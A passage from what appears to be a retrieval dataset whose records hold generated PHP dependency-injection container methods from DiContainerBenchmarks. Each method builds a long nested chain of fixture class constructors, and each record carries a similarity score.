\\DiContainerBenchmarks\\Fixture\\Class36(new \\DiContainerBenchmarks\\Fixture\\Class35(new \\DiContainerBenchmarks\\Fixture\\Class34(new \\DiContainerBenchmarks\\Fixture\\Class33(new \\DiContainerBenchmarks\\Fixture\\Class32(new \\DiContainerBenchmarks\\Fixture\\Class31(new \\DiContainerBenchmarks\\Fixture\\Class30(new \\DiContainerBenchmarks\\Fixture\\Class29(new \\DiContainerBenchmarks\\Fixture\\Class28(new \\DiContainerBenchmarks\\Fixture\\Class27(new \\DiContainerBenchmarks\\Fixture\\Class26(new \\DiContainerBenchmarks\\Fixture\\Class25(new \\DiContainerBenchmarks\\Fixture\\Class24(new \\DiContainerBenchmarks\\Fixture\\Class23(new \\DiContainerBenchmarks\\Fixture\\Class22(new \\DiContainerBenchmarks\\Fixture\\Class21(new \\DiContainerBenchmarks\\Fixture\\Class20(new \\DiContainerBenchmarks\\Fixture\\Class19(new \\DiContainerBenchmarks\\Fixture\\Class18(new \\DiContainerBenchmarks\\Fixture\\Class17(new \\DiContainerBenchmarks\\Fixture\\Class16(new \\DiContainerBenchmarks\\Fixture\\Class15(new \\DiContainerBenchmarks\\Fixture\\Class14(new \\DiContainerBenchmarks\\Fixture\\Class13(new \\DiContainerBenchmarks\\Fixture\\Class12(new \\DiContainerBenchmarks\\Fixture\\Class11(new \\DiContainerBenchmarks\\Fixture\\Class10(new \\DiContainerBenchmarks\\Fixture\\Class9(new \\DiContainerBenchmarks\\Fixture\\Class8(new \\DiContainerBenchmarks\\Fixture\\Class7(new \\DiContainerBenchmarks\\Fixture\\Class6(new \\DiContainerBenchmarks\\Fixture\\Class5(new \\DiContainerBenchmarks\\Fixture\\Class4(new \\DiContainerBenchmarks\\Fixture\\Class3(new \\DiContainerBenchmarks\\Fixture\\Class2(new \\DiContainerBenchmarks\\Fixture\\Class1()))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))));\n }", "title": "" }, { "docid": "653e211f0d04be15a91ce1be59213011", "score": "0.6617196", "text": "protected function getClass69Service()\n {\n return new \\DiContainerBenchmarks\\Fixture\\Class69(new \\DiContainerBenchmarks\\Fixture\\Class68(new \\DiContainerBenchmarks\\Fixture\\Class67(new \\DiContainerBenchmarks\\Fixture\\Class66(new \\DiContainerBenchmarks\\Fixture\\Class65(new \\DiContainerBenchmarks\\Fixture\\Class64(new \\DiContainerBenchmarks\\Fixture\\Class63(new \\DiContainerBenchmarks\\Fixture\\Class62(new \\DiContainerBenchmarks\\Fixture\\Class61(new \\DiContainerBenchmarks\\Fixture\\Class60(new \\DiContainerBenchmarks\\Fixture\\Class59(new \\DiContainerBenchmarks\\Fixture\\Class58(new \\DiContainerBenchmarks\\Fixture\\Class57(new \\DiContainerBenchmarks\\Fixture\\Class56(new \\DiContainerBenchmarks\\Fixture\\Class55(new \\DiContainerBenchmarks\\Fixture\\Class54(new \\DiContainerBenchmarks\\Fixture\\Class53(new \\DiContainerBenchmarks\\Fixture\\Class52(new \\DiContainerBenchmarks\\Fixture\\Class51(new \\DiContainerBenchmarks\\Fixture\\Class50(new \\DiContainerBenchmarks\\Fixture\\Class49(new \\DiContainerBenchmarks\\Fixture\\Class48(new \\DiContainerBenchmarks\\Fixture\\Class47(new \\DiContainerBenchmarks\\Fixture\\Class46(new \\DiContainerBenchmarks\\Fixture\\Class45(new \\DiContainerBenchmarks\\Fixture\\Class44(new \\DiContainerBenchmarks\\Fixture\\Class43(new \\DiContainerBenchmarks\\Fixture\\Class42(new \\DiContainerBenchmarks\\Fixture\\Class41(new \\DiContainerBenchmarks\\Fixture\\Class40(new \\DiContainerBenchmarks\\Fixture\\Class39(new \\DiContainerBenchmarks\\Fixture\\Class38(new \\DiContainerBenchmarks\\Fixture\\Class37(new \\DiContainerBenchmarks\\Fixture\\Class36(new \\DiContainerBenchmarks\\Fixture\\Class35(new \\DiContainerBenchmarks\\Fixture\\Class34(new \\DiContainerBenchmarks\\Fixture\\Class33(new \\DiContainerBenchmarks\\Fixture\\Class32(new \\DiContainerBenchmarks\\Fixture\\Class31(new \\DiContainerBenchmarks\\Fixture\\Class30(new \\DiContainerBenchmarks\\Fixture\\Class29(new \\DiContainerBenchmarks\\Fixture\\Class28(new \\DiContainerBenchmarks\\Fixture\\Class27(new \\DiContainerBenchmarks\\Fixture\\Class26(new \\DiContainerBenchmarks\\Fixture\\Class25(new \\DiContainerBenchmarks\\Fixture\\Class24(new \\DiContainerBenchmarks\\Fixture\\Class23(new \\DiContainerBenchmarks\\Fixture\\Class22(new \\DiContainerBenchmarks\\Fixture\\Class21(new \\DiContainerBenchmarks\\Fixture\\Class20(new \\DiContainerBenchmarks\\Fixture\\Class19(new \\DiContainerBenchmarks\\Fixture\\Class18(new \\DiContainerBenchmarks\\Fixture\\Class17(new \\DiContainerBenchmarks\\Fixture\\Class16(new \\DiContainerBenchmarks\\Fixture\\Class15(new \\DiContainerBenchmarks\\Fixture\\Class14(new \\DiContainerBenchmarks\\Fixture\\Class13(new \\DiContainerBenchmarks\\Fixture\\Class12(new \\DiContainerBenchmarks\\Fixture\\Class11(new \\DiContainerBenchmarks\\Fixture\\Class10(new \\DiContainerBenchmarks\\Fixture\\Class9(new \\DiContainerBenchmarks\\Fixture\\Class8(new \\DiContainerBenchmarks\\Fixture\\Class7(new \\DiContainerBenchmarks\\Fixture\\Class6(new \\DiContainerBenchmarks\\Fixture\\Class5(new \\DiContainerBenchmarks\\Fixture\\Class4(new \\DiContainerBenchmarks\\Fixture\\Class3(new \\DiContainerBenchmarks\\Fixture\\Class2(new \\DiContainerBenchmarks\\Fixture\\Class1()))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))));\n }", "title": "" }, { "docid": "b4a308830b4abf587b78690e177ac783", "score": "0.66127944", "text": "protected function getClass33Service()\n {\n return new \\DiContainerBenchmarks\\Fixture\\Class33(new \\DiContainerBenchmarks\\Fixture\\Class32(new \\DiContainerBenchmarks\\Fixture\\Class31(new \\DiContainerBenchmarks\\Fixture\\Class30(new \\DiContainerBenchmarks\\Fixture\\Class29(new \\DiContainerBenchmarks\\Fixture\\Class28(new \\DiContainerBenchmarks\\Fixture\\Class27(new \\DiContainerBenchmarks\\Fixture\\Class26(new \\DiContainerBenchmarks\\Fixture\\Class25(new \\DiContainerBenchmarks\\Fixture\\Class24(new \\DiContainerBenchmarks\\Fixture\\Class23(new \\DiContainerBenchmarks\\Fixture\\Class22(new \\DiContainerBenchmarks\\Fixture\\Class21(new \\DiContainerBenchmarks\\Fixture\\Class20(new \\DiContainerBenchmarks\\Fixture\\Class19(new \\DiContainerBenchmarks\\Fixture\\Class18(new \\DiContainerBenchmarks\\Fixture\\Class17(new \\DiContainerBenchmarks\\Fixture\\Class16(new \\DiContainerBenchmarks\\Fixture\\Class15(new \\DiContainerBenchmarks\\Fixture\\Class14(new \\DiContainerBenchmarks\\Fixture\\Class13(new \\DiContainerBenchmarks\\Fixture\\Class12(new \\DiContainerBenchmarks\\Fixture\\Class11(new \\DiContainerBenchmarks\\Fixture\\Class10(new \\DiContainerBenchmarks\\Fixture\\Class9(new \\DiContainerBenchmarks\\Fixture\\Class8(new \\DiContainerBenchmarks\\Fixture\\Class7(new \\DiContainerBenchmarks\\Fixture\\Class6(new \\DiContainerBenchmarks\\Fixture\\Class5(new \\DiContainerBenchmarks\\Fixture\\Class4(new \\DiContainerBenchmarks\\Fixture\\Class3(new \\DiContainerBenchmarks\\Fixture\\Class2(new \\DiContainerBenchmarks\\Fixture\\Class1()))))))))))))))))))))))))))))))));\n }", "title": "" }, { "docid": "13f41968282510aface7f119241bc1cb", "score": "0.6587978", "text": "protected function getClass83Service()\n {\n return new \\DiContainerBenchmarks\\Fixture\\Class83(new \\DiContainerBenchmarks\\Fixture\\Class82(new \\DiContainerBenchmarks\\Fixture\\Class81(new \\DiContainerBenchmarks\\Fixture\\Class80(new \\DiContainerBenchmarks\\Fixture\\Class79(new \\DiContainerBenchmarks\\Fixture\\Class78(new \\DiContainerBenchmarks\\Fixture\\Class77(new \\DiContainerBenchmarks\\Fixture\\Class76(new \\DiContainerBenchmarks\\Fixture\\Class75(new \\DiContainerBenchmarks\\Fixture\\Class74(new \\DiContainerBenchmarks\\Fixture\\Class73(new \\DiContainerBenchmarks\\Fixture\\Class72(new \\DiContainerBenchmarks\\Fixture\\Class71(new \\DiContainerBenchmarks\\Fixture\\Class70(new \\DiContainerBenchmarks\\Fixture\\Class69(new \\DiContainerBenchmarks\\Fixture\\Class68(new \\DiContainerBenchmarks\\Fixture\\Class67(new \\DiContainerBenchmarks\\Fixture\\Class66(new \\DiContainerBenchmarks\\Fixture\\Class65(new \\DiContainerBenchmarks\\Fixture\\Class64(new \\DiContainerBenchmarks\\Fixture\\Class63(new \\DiContainerBenchmarks\\Fixture\\Class62(new \\DiContainerBenchmarks\\Fixture\\Class61(new \\DiContainerBenchmarks\\Fixture\\Class60(new \\DiContainerBenchmarks\\Fixture\\Class59(new \\DiContainerBenchmarks\\Fixture\\Class58(new \\DiContainerBenchmarks\\Fixture\\Class57(new \\DiContainerBenchmarks\\Fixture\\Class56(new \\DiContainerBenchmarks\\Fixture\\Class55(new \\DiContainerBenchmarks\\Fixture\\Class54(new \\DiContainerBenchmarks\\Fixture\\Class53(new \\DiContainerBenchmarks\\Fixture\\Class52(new \\DiContainerBenchmarks\\Fixture\\Class51(new \\DiContainerBenchmarks\\Fixture\\Class50(new \\DiContainerBenchmarks\\Fixture\\Class49(new \\DiContainerBenchmarks\\Fixture\\Class48(new \\DiContainerBenchmarks\\Fixture\\Class47(new \\DiContainerBenchmarks\\Fixture\\Class46(new \\DiContainerBenchmarks\\Fixture\\Class45(new \\DiContainerBenchmarks\\Fixture\\Class44(new \\DiContainerBenchmarks\\Fixture\\Class43(new \\DiContainerBenchmarks\\Fixture\\Class42(new \\DiContainerBenchmarks\\Fixture\\Class41(new \\DiContainerBenchmarks\\Fixture\\Class40(new \\DiContainerBenchmarks\\Fixture\\Class39(new \\DiContainerBenchmarks\\Fixture\\Class38(new \\DiContainerBenchmarks\\Fixture\\Class37(new \\DiContainerBenchmarks\\Fixture\\Class36(new \\DiContainerBenchmarks\\Fixture\\Class35(new \\DiContainerBenchmarks\\Fixture\\Class34(new \\DiContainerBenchmarks\\Fixture\\Class33(new \\DiContainerBenchmarks\\Fixture\\Class32(new \\DiContainerBenchmarks\\Fixture\\Class31(new \\DiContainerBenchmarks\\Fixture\\Class30(new \\DiContainerBenchmarks\\Fixture\\Class29(new \\DiContainerBenchmarks\\Fixture\\Class28(new \\DiContainerBenchmarks\\Fixture\\Class27(new \\DiContainerBenchmarks\\Fixture\\Class26(new \\DiContainerBenchmarks\\Fixture\\Class25(new \\DiContainerBenchmarks\\Fixture\\Class24(new \\DiContainerBenchmarks\\Fixture\\Class23(new \\DiContainerBenchmarks\\Fixture\\Class22(new \\DiContainerBenchmarks\\Fixture\\Class21(new \\DiContainerBenchmarks\\Fixture\\Class20(new \\DiContainerBenchmarks\\Fixture\\Class19(new \\DiContainerBenchmarks\\Fixture\\Class18(new \\DiContainerBenchmarks\\Fixture\\Class17(new \\DiContainerBenchmarks\\Fixture\\Class16(new \\DiContainerBenchmarks\\Fixture\\Class15(new \\DiContainerBenchmarks\\Fixture\\Class14(new \\DiContainerBenchmarks\\Fixture\\Class13(new \\DiContainerBenchmarks\\Fixture\\Class12(new \\DiContainerBenchmarks\\Fixture\\Class11(new \\DiContainerBenchmarks\\Fixture\\Class10(new \\DiContainerBenchmarks\\Fixture\\Class9(new \\DiContainerBenchmarks\\Fixture\\Class8(new \\DiContainerBenchmarks\\Fixture\\Class7(new \\DiContainerBenchmarks\\Fixture\\Class6(new \\DiContainerBenchmarks\\Fixture\\Class5(new \\DiContainerBenchmarks\\Fixture\\Class4(new \\DiContainerBenchmarks\\Fixture\\Class3(new \\DiContainerBenchmarks\\Fixture\\Class2(new \\DiContainerBenchmarks\\Fixture\\Class1()))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))));\n }", "title": "" }, { "docid": "c0da3cc3c273a9ba6e35bbe28c9970df", "score": "0.6580418", "text": "protected function getClass51Service()\n {\n return new \\DiContainerBenchmarks\\Fixture\\Class51(new \\DiContainerBenchmarks\\Fixture\\Class50(new \\DiContainerBenchmarks\\Fixture\\Class49(new \\DiContainerBenchmarks\\Fixture\\Class48(new \\DiContainerBenchmarks\\Fixture\\Class47(new \\DiContainerBenchmarks\\Fixture\\Class46(new \\DiContainerBenchmarks\\Fixture\\Class45(new \\DiContainerBenchmarks\\Fixture\\Class44(new \\DiContainerBenchmarks\\Fixture\\Class43(new \\DiContainerBenchmarks\\Fixture\\Class42(new \\DiContainerBenchmarks\\Fixture\\Class41(new \\DiContainerBenchmarks\\Fixture\\Class40(new \\DiContainerBenchmarks\\Fixture\\Class39(new \\DiContainerBenchmarks\\Fixture\\Class38(new \\DiContainerBenchmarks\\Fixture\\Class37(new \\DiContainerBenchmarks\\Fixture\\Class36(new \\DiContainerBenchmarks\\Fixture\\Class35(new \\DiContainerBenchmarks\\Fixture\\Class34(new \\DiContainerBenchmarks\\Fixture\\Class33(new \\DiContainerBenchmarks\\Fixture\\Class32(new \\DiContainerBenchmarks\\Fixture\\Class31(new \\DiContainerBenchmarks\\Fixture\\Class30(new \\DiContainerBenchmarks\\Fixture\\Class29(new \\DiContainerBenchmarks\\Fixture\\Class28(new \\DiContainerBenchmarks\\Fixture\\Class27(new \\DiContainerBenchmarks\\Fixture\\Class26(new \\DiContainerBenchmarks\\Fixture\\Class25(new \\DiContainerBenchmarks\\Fixture\\Class24(new \\DiContainerBenchmarks\\Fixture\\Class23(new \\DiContainerBenchmarks\\Fixture\\Class22(new \\DiContainerBenchmarks\\Fixture\\Class21(new \\DiContainerBenchmarks\\Fixture\\Class20(new \\DiContainerBenchmarks\\Fixture\\Class19(new \\DiContainerBenchmarks\\Fixture\\Class18(new \\DiContainerBenchmarks\\Fixture\\Class17(new \\DiContainerBenchmarks\\Fixture\\Class16(new \\DiContainerBenchmarks\\Fixture\\Class15(new \\DiContainerBenchmarks\\Fixture\\Class14(new \\DiContainerBenchmarks\\Fixture\\Class13(new \\DiContainerBenchmarks\\Fixture\\Class12(new \\DiContainerBenchmarks\\Fixture\\Class11(new \\DiContainerBenchmarks\\Fixture\\Class10(new \\DiContainerBenchmarks\\Fixture\\Class9(new \\DiContainerBenchmarks\\Fixture\\Class8(new \\DiContainerBenchmarks\\Fixture\\Class7(new \\DiContainerBenchmarks\\Fixture\\Class6(new \\DiContainerBenchmarks\\Fixture\\Class5(new \\DiContainerBenchmarks\\Fixture\\Class4(new \\DiContainerBenchmarks\\Fixture\\Class3(new \\DiContainerBenchmarks\\Fixture\\Class2(new \\DiContainerBenchmarks\\Fixture\\Class1()))))))))))))))))))))))))))))))))))))))))))))))))));\n }", "title": "" }, { "docid": "d42833033a8365f19d74760875e2a299", "score": "0.6555861", "text": "protected function getClass53Service()\n {\n return new \\DiContainerBenchmarks\\Fixture\\Class53(new \\DiContainerBenchmarks\\Fixture\\Class52(new \\DiContainerBenchmarks\\Fixture\\Class51(new \\DiContainerBenchmarks\\Fixture\\Class50(new \\DiContainerBenchmarks\\Fixture\\Class49(new \\DiContainerBenchmarks\\Fixture\\Class48(new \\DiContainerBenchmarks\\Fixture\\Class47(new \\DiContainerBenchmarks\\Fixture\\Class46(new \\DiContainerBenchmarks\\Fixture\\Class45(new \\DiContainerBenchmarks\\Fixture\\Class44(new \\DiContainerBenchmarks\\Fixture\\Class43(new \\DiContainerBenchmarks\\Fixture\\Class42(new \\DiContainerBenchmarks\\Fixture\\Class41(new \\DiContainerBenchmarks\\Fixture\\Class40(new \\DiContainerBenchmarks\\Fixture\\Class39(new \\DiContainerBenchmarks\\Fixture\\Class38(new \\DiContainerBenchmarks\\Fixture\\Class37(new \\DiContainerBenchmarks\\Fixture\\Class36(new \\DiContainerBenchmarks\\Fixture\\Class35(new \\DiContainerBenchmarks\\Fixture\\Class34(new \\DiContainerBenchmarks\\Fixture\\Class33(new \\DiContainerBenchmarks\\Fixture\\Class32(new \\DiContainerBenchmarks\\Fixture\\Class31(new \\DiContainerBenchmarks\\Fixture\\Class30(new \\DiContainerBenchmarks\\Fixture\\Class29(new \\DiContainerBenchmarks\\Fixture\\Class28(new \\DiContainerBenchmarks\\Fixture\\Class27(new \\DiContainerBenchmarks\\Fixture\\Class26(new \\DiContainerBenchmarks\\Fixture\\Class25(new \\DiContainerBenchmarks\\Fixture\\Class24(new \\DiContainerBenchmarks\\Fixture\\Class23(new \\DiContainerBenchmarks\\Fixture\\Class22(new \\DiContainerBenchmarks\\Fixture\\Class21(new \\DiContainerBenchmarks\\Fixture\\Class20(new \\DiContainerBenchmarks\\Fixture\\Class19(new \\DiContainerBenchmarks\\Fixture\\Class18(new \\DiContainerBenchmarks\\Fixture\\Class17(new \\DiContainerBenchmarks\\Fixture\\Class16(new \\DiContainerBenchmarks\\Fixture\\Class15(new \\DiContainerBenchmarks\\Fixture\\Class14(new \\DiContainerBenchmarks\\Fixture\\Class13(new \\DiContainerBenchmarks\\Fixture\\Class12(new \\DiContainerBenchmarks\\Fixture\\Class11(new \\DiContainerBenchmarks\\Fixture\\Class10(new \\DiContainerBenchmarks\\Fixture\\Class9(new \\DiContainerBenchmarks\\Fixture\\Class8(new \\DiContainerBenchmarks\\Fixture\\Class7(new \\DiContainerBenchmarks\\Fixture\\Class6(new \\DiContainerBenchmarks\\Fixture\\Class5(new \\DiContainerBenchmarks\\Fixture\\Class4(new \\DiContainerBenchmarks\\Fixture\\Class3(new \\DiContainerBenchmarks\\Fixture\\Class2(new \\DiContainerBenchmarks\\Fixture\\Class1()))))))))))))))))))))))))))))))))))))))))))))))))))));\n }", "title": "" }, { "docid": "6fcd7dac4cd1d68aeedce2d963af838f", "score": "0.6552992", "text": "protected function getClass40Service()\n {\n return new \\DiContainerBenchmarks\\Fixture\\Class40(new \\DiContainerBenchmarks\\Fixture\\Class39(new \\DiContainerBenchmarks\\Fixture\\Class38(new \\DiContainerBenchmarks\\Fixture\\Class37(new \\DiContainerBenchmarks\\Fixture\\Class36(new \\DiContainerBenchmarks\\Fixture\\Class35(new \\DiContainerBenchmarks\\Fixture\\Class34(new \\DiContainerBenchmarks\\Fixture\\Class33(new \\DiContainerBenchmarks\\Fixture\\Class32(new \\DiContainerBenchmarks\\Fixture\\Class31(new \\DiContainerBenchmarks\\Fixture\\Class30(new \\DiContainerBenchmarks\\Fixture\\Class29(new \\DiContainerBenchmarks\\Fixture\\Class28(new \\DiContainerBenchmarks\\Fixture\\Class27(new \\DiContainerBenchmarks\\Fixture\\Class26(new \\DiContainerBenchmarks\\Fixture\\Class25(new \\DiContainerBenchmarks\\Fixture\\Class24(new \\DiContainerBenchmarks\\Fixture\\Class23(new \\DiContainerBenchmarks\\Fixture\\Class22(new \\DiContainerBenchmarks\\Fixture\\Class21(new \\DiContainerBenchmarks\\Fixture\\Class20(new \\DiContainerBenchmarks\\Fixture\\Class19(new \\DiContainerBenchmarks\\Fixture\\Class18(new \\DiContainerBenchmarks\\Fixture\\Class17(new \\DiContainerBenchmarks\\Fixture\\Class16(new \\DiContainerBenchmarks\\Fixture\\Class15(new \\DiContainerBenchmarks\\Fixture\\Class14(new \\DiContainerBenchmarks\\Fixture\\Class13(new \\DiContainerBenchmarks\\Fixture\\Class12(new \\DiContainerBenchmarks\\Fixture\\Class11(new \\DiContainerBenchmarks\\Fixture\\Class10(new \\DiContainerBenchmarks\\Fixture\\Class9(new \\DiContainerBenchmarks\\Fixture\\Class8(new \\DiContainerBenchmarks\\Fixture\\Class7(new \\DiContainerBenchmarks\\Fixture\\Class6(new \\DiContainerBenchmarks\\Fixture\\Class5(new \\DiContainerBenchmarks\\Fixture\\Class4(new \\DiContainerBenchmarks\\Fixture\\Class3(new \\DiContainerBenchmarks\\Fixture\\Class2(new \\DiContainerBenchmarks\\Fixture\\Class1())))))))))))))))))))))))))))))))))))))));\n }", "title": "" }, { "docid": "e5d9723bbd362b7e3e91bf4f4fcfd9e4", "score": "0.6537313", "text": "protected function getClass23Service()\n {\n return new \\DiContainerBenchmarks\\Fixture\\Class23(new \\DiContainerBenchmarks\\Fixture\\Class22(new \\DiContainerBenchmarks\\Fixture\\Class21(new \\DiContainerBenchmarks\\Fixture\\Class20(new \\DiContainerBenchmarks\\Fixture\\Class19(new \\DiContainerBenchmarks\\Fixture\\Class18(new \\DiContainerBenchmarks\\Fixture\\Class17(new \\DiContainerBenchmarks\\Fixture\\Class16(new \\DiContainerBenchmarks\\Fixture\\Class15(new \\DiContainerBenchmarks\\Fixture\\Class14(new \\DiContainerBenchmarks\\Fixture\\Class13(new \\DiContainerBenchmarks\\Fixture\\Class12(new \\DiContainerBenchmarks\\Fixture\\Class11(new \\DiContainerBenchmarks\\Fixture\\Class10(new \\DiContainerBenchmarks\\Fixture\\Class9(new \\DiContainerBenchmarks\\Fixture\\Class8(new \\DiContainerBenchmarks\\Fixture\\Class7(new \\DiContainerBenchmarks\\Fixture\\Class6(new \\DiContainerBenchmarks\\Fixture\\Class5(new \\DiContainerBenchmarks\\Fixture\\Class4(new \\DiContainerBenchmarks\\Fixture\\Class3(new \\DiContainerBenchmarks\\Fixture\\Class2(new \\DiContainerBenchmarks\\Fixture\\Class1()))))))))))))))))))))));\n }", "title": "" }, { "docid": "e51303d6725e52afe0c63bb8e39ec663", "score": "0.6522756", "text": "protected function getClass56Service()\n {\n return new \\DiContainerBenchmarks\\Fixture\\Class56(new \\DiContainerBenchmarks\\Fixture\\Class55(new \\DiContainerBenchmarks\\Fixture\\Class54(new \\DiContainerBenchmarks\\Fixture\\Class53(new \\DiContainerBenchmarks\\Fixture\\Class52(new \\DiContainerBenchmarks\\Fixture\\Class51(new \\DiContainerBenchmarks\\Fixture\\Class50(new \\DiContainerBenchmarks\\Fixture\\Class49(new \\DiContainerBenchmarks\\Fixture\\Class48(new \\DiContainerBenchmarks\\Fixture\\Class47(new \\DiContainerBenchmarks\\Fixture\\Class46(new \\DiContainerBenchmarks\\Fixture\\Class45(new \\DiContainerBenchmarks\\Fixture\\Class44(new \\DiContainerBenchmarks\\Fixture\\Class43(new \\DiContainerBenchmarks\\Fixture\\Class42(new \\DiContainerBenchmarks\\Fixture\\Class41(new \\DiContainerBenchmarks\\Fixture\\Class40(new \\DiContainerBenchmarks\\Fixture\\Class39(new \\DiContainerBenchmarks\\Fixture\\Class38(new \\DiContainerBenchmarks\\Fixture\\Class37(new \\DiContainerBenchmarks\\Fixture\\Class36(new \\DiContainerBenchmarks\\Fixture\\Class35(new \\DiContainerBenchmarks\\Fixture\\Class34(new \\DiContainerBenchmarks\\Fixture\\Class33(new \\DiContainerBenchmarks\\Fixture\\Class32(new \\DiContainerBenchmarks\\Fixture\\Class31(new \\DiContainerBenchmarks\\Fixture\\Class30(new \\DiContainerBenchmarks\\Fixture\\Class29(new \\DiContainerBenchmarks\\Fixture\\Class28(new \\DiContainerBenchmarks\\Fixture\\Class27(new \\DiContainerBenchmarks\\Fixture\\Class26(new \\DiContainerBenchmarks\\Fixture\\Class25(new \\DiContainerBenchmarks\\Fixture\\Class24(new \\DiContainerBenchmarks\\Fixture\\Class23(new \\DiContainerBenchmarks\\Fixture\\Class22(new \\DiContainerBenchmarks\\Fixture\\Class21(new \\DiContainerBenchmarks\\Fixture\\Class20(new \\DiContainerBenchmarks\\Fixture\\Class19(new \\DiContainerBenchmarks\\Fixture\\Class18(new \\DiContainerBenchmarks\\Fixture\\Class17(new \\DiContainerBenchmarks\\Fixture\\Class16(new \\DiContainerBenchmarks\\Fixture\\Class15(new \\DiContainerBenchmarks\\Fixture\\Class14(new \\DiContainerBenchmarks\\Fixture\\Class13(new \\DiContainerBenchmarks\\Fixture\\Class12(new \\DiContainerBenchmarks\\Fixture\\Class11(new \\DiContainerBenchmarks\\Fixture\\Class10(new \\DiContainerBenchmarks\\Fixture\\Class9(new \\DiContainerBenchmarks\\Fixture\\Class8(new \\DiContainerBenchmarks\\Fixture\\Class7(new \\DiContainerBenchmarks\\Fixture\\Class6(new \\DiContainerBenchmarks\\Fixture\\Class5(new \\DiContainerBenchmarks\\Fixture\\Class4(new \\DiContainerBenchmarks\\Fixture\\Class3(new \\DiContainerBenchmarks\\Fixture\\Class2(new \\DiContainerBenchmarks\\Fixture\\Class1())))))))))))))))))))))))))))))))))))))))))))))))))))))));\n }", "title": "" }, { "docid": "ec3871b0333210af6bc0d6cd9a723fdc", "score": "0.6522644", "text": "protected function getClass72Service()\n {\n return new \\DiContainerBenchmarks\\Fixture\\Class72(new \\DiContainerBenchmarks\\Fixture\\Class71(new \\DiContainerBenchmarks\\Fixture\\Class70(new \\DiContainerBenchmarks\\Fixture\\Class69(new \\DiContainerBenchmarks\\Fixture\\Class68(new \\DiContainerBenchmarks\\Fixture\\Class67(new \\DiContainerBenchmarks\\Fixture\\Class66(new \\DiContainerBenchmarks\\Fixture\\Class65(new \\DiContainerBenchmarks\\Fixture\\Class64(new \\DiContainerBenchmarks\\Fixture\\Class63(new \\DiContainerBenchmarks\\Fixture\\Class62(new \\DiContainerBenchmarks\\Fixture\\Class61(new \\DiContainerBenchmarks\\Fixture\\Class60(new \\DiContainerBenchmarks\\Fixture\\Class59(new \\DiContainerBenchmarks\\Fixture\\Class58(new \\DiContainerBenchmarks\\Fixture\\Class57(new \\DiContainerBenchmarks\\Fixture\\Class56(new \\DiContainerBenchmarks\\Fixture\\Class55(new \\DiContainerBenchmarks\\Fixture\\Class54(new \\DiContainerBenchmarks\\Fixture\\Class53(new \\DiContainerBenchmarks\\Fixture\\Class52(new \\DiContainerBenchmarks\\Fixture\\Class51(new \\DiContainerBenchmarks\\Fixture\\Class50(new \\DiContainerBenchmarks\\Fixture\\Class49(new \\DiContainerBenchmarks\\Fixture\\Class48(new \\DiContainerBenchmarks\\Fixture\\Class47(new \\DiContainerBenchmarks\\Fixture\\Class46(new \\DiContainerBenchmarks\\Fixture\\Class45(new \\DiContainerBenchmarks\\Fixture\\Class44(new \\DiContainerBenchmarks\\Fixture\\Class43(new \\DiContainerBenchmarks\\Fixture\\Class42(new \\DiContainerBenchmarks\\Fixture\\Class41(new \\DiContainerBenchmarks\\Fixture\\Class40(new \\DiContainerBenchmarks\\Fixture\\Class39(new \\DiContainerBenchmarks\\Fixture\\Class38(new \\DiContainerBenchmarks\\Fixture\\Class37(new \\DiContainerBenchmarks\\Fixture\\Class36(new \\DiContainerBenchmarks\\Fixture\\Class35(new \\DiContainerBenchmarks\\Fixture\\Class34(new \\DiContainerBenchmarks\\Fixture\\Class33(new \\DiContainerBenchmarks\\Fixture\\Class32(new \\DiContainerBenchmarks\\Fixture\\Class31(new \\DiContainerBenchmarks\\Fixture\\Class30(new \\DiContainerBenchmarks\\Fixture\\Class29(new \\DiContainerBenchmarks\\Fixture\\Class28(new \\DiContainerBenchmarks\\Fixture\\Class27(new \\DiContainerBenchmarks\\Fixture\\Class26(new \\DiContainerBenchmarks\\Fixture\\Class25(new \\DiContainerBenchmarks\\Fixture\\Class24(new \\DiContainerBenchmarks\\Fixture\\Class23(new \\DiContainerBenchmarks\\Fixture\\Class22(new \\DiContainerBenchmarks\\Fixture\\Class21(new \\DiContainerBenchmarks\\Fixture\\Class20(new \\DiContainerBenchmarks\\Fixture\\Class19(new \\DiContainerBenchmarks\\Fixture\\Class18(new \\DiContainerBenchmarks\\Fixture\\Class17(new \\DiContainerBenchmarks\\Fixture\\Class16(new \\DiContainerBenchmarks\\Fixture\\Class15(new \\DiContainerBenchmarks\\Fixture\\Class14(new \\DiContainerBenchmarks\\Fixture\\Class13(new \\DiContainerBenchmarks\\Fixture\\Class12(new \\DiContainerBenchmarks\\Fixture\\Class11(new \\DiContainerBenchmarks\\Fixture\\Class10(new \\DiContainerBenchmarks\\Fixture\\Class9(new \\DiContainerBenchmarks\\Fixture\\Class8(new \\DiContainerBenchmarks\\Fixture\\Class7(new \\DiContainerBenchmarks\\Fixture\\Class6(new \\DiContainerBenchmarks\\Fixture\\Class5(new \\DiContainerBenchmarks\\Fixture\\Class4(new \\DiContainerBenchmarks\\Fixture\\Class3(new \\DiContainerBenchmarks\\Fixture\\Class2(new \\DiContainerBenchmarks\\Fixture\\Class1())))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))));\n }", "title": "" }, { "docid": "42413f6c6486930796c499c4167c9eb0", "score": "0.65201086", "text": "protected function getClass80Service()\n {\n return new \\DiContainerBenchmarks\\Fixture\\Class80(new \\DiContainerBenchmarks\\Fixture\\Class79(new \\DiContainerBenchmarks\\Fixture\\Class78(new \\DiContainerBenchmarks\\Fixture\\Class77(new \\DiContainerBenchmarks\\Fixture\\Class76(new \\DiContainerBenchmarks\\Fixture\\Class75(new \\DiContainerBenchmarks\\Fixture\\Class74(new \\DiContainerBenchmarks\\Fixture\\Class73(new \\DiContainerBenchmarks\\Fixture\\Class72(new \\DiContainerBenchmarks\\Fixture\\Class71(new \\DiContainerBenchmarks\\Fixture\\Class70(new \\DiContainerBenchmarks\\Fixture\\Class69(new \\DiContainerBenchmarks\\Fixture\\Class68(new \\DiContainerBenchmarks\\Fixture\\Class67(new \\DiContainerBenchmarks\\Fixture\\Class66(new \\DiContainerBenchmarks\\Fixture\\Class65(new \\DiContainerBenchmarks\\Fixture\\Class64(new \\DiContainerBenchmarks\\Fixture\\Class63(new \\DiContainerBenchmarks\\Fixture\\Class62(new \\DiContainerBenchmarks\\Fixture\\Class61(new \\DiContainerBenchmarks\\Fixture\\Class60(new \\DiContainerBenchmarks\\Fixture\\Class59(new \\DiContainerBenchmarks\\Fixture\\Class58(new 